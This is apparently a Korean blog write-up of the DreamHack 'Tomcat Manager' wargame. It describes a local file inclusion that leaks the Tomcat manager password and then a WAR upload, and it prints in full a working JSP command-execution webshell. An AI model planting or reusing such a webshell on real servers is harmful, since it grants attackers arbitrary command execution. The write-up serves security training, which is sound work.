Yozzang의 해킹일기 💻
article thumbnail
728x90

오늘은 DreamHacker의 웹 해킹 워게임 중 하나인 Tomcat Manager를 함께 풀어볼 예정이다.

 

 

Tomcat Manager

Description 드림이가 톰캣 서버로 개발을 시작하였습니다. 서비스의 취약점을 찾아 플래그를 획득하세요. 플래그는 /flag 경로에 있습니다.

dreamhack.io


## 문제 설명:

문제 설명

문제 정보를 살펴보면 /flag 경로에 접속하여 flag를 획득하면 되는 것으로 보인다.

## 문제 풀이

사이트에 접속해보니 다음과 화면이 보인다.

main

아무런 기능을 하지 않은 페이지가 나오고 있으며, 개발자 도구를 열어 확인해보면 다음과 같이 image 파일을 불러오는 것을 확인할 수 있다.

개발자 도구

LFI 공격이 가능할 것 같아 다음과 같이 시도를 해보니, 실제 공격이 성공한 것을 확인할 수 있다.

LFI 공격

주어진 파일 중 tomcat-user.xml을 확인해보면 manager 페이지가 존재하고, 해당 파일을 다운로드 하면 password을 획득할 수 있는 것으로 보인다.

tomcat-user.xml

manager 페이지에 접속하면 다음과 같이 비밀번호를 요구하고 있다.

manager page

이어서 주어진 Docker 파일을 확인해보면 다음과 같이 tomcat-users.xml의 절대경로를 확인할 수 있다.

Docker

LFI 공격을 통해 해당 파일을 다운로드 하여 확인해보니 다음과 같이 PASSWORD가 출력된 것을 확인할 수 있다.

tomcat-user.xml

로그인 성공하면 다음과 같은 페이지가 출력된다.

manager page

페이지의 아래쪽을 확인하면 다음과 같이 WAR 파일 deploy하여 file upload 공격을 실행할 수 있는 부분이 존재한다.

Deploy

간단한 webshell을 하나 작성해서 war 파일로 압축한 다음에 올리도록 하겠다.

## 공격 코드

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></

## 실행 결과

webshell upload

webshell이 존재한 위치에 가서 다음과 같이 flag 파일의 위치를 확인할 수 있다.

webshell

해당 파일을 출력하면 다음과 같이 FLAG의 값을 성공적으로 출력할 수 있다.

성공

'Wargame > DreamHack' 카테고리의 다른 글

[DreamHack 워게임] strcmp  (0) 2023.04.10
[DreamHack 워게임] fly me to the moon  (0) 2023.04.09
[DreamHack 워게임] funjs  (0) 2023.04.07
[DreamHack 워게임] web-ssrf  (0) 2023.04.06
[DreamHack 워게임] blind-command  (0) 2023.04.05
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!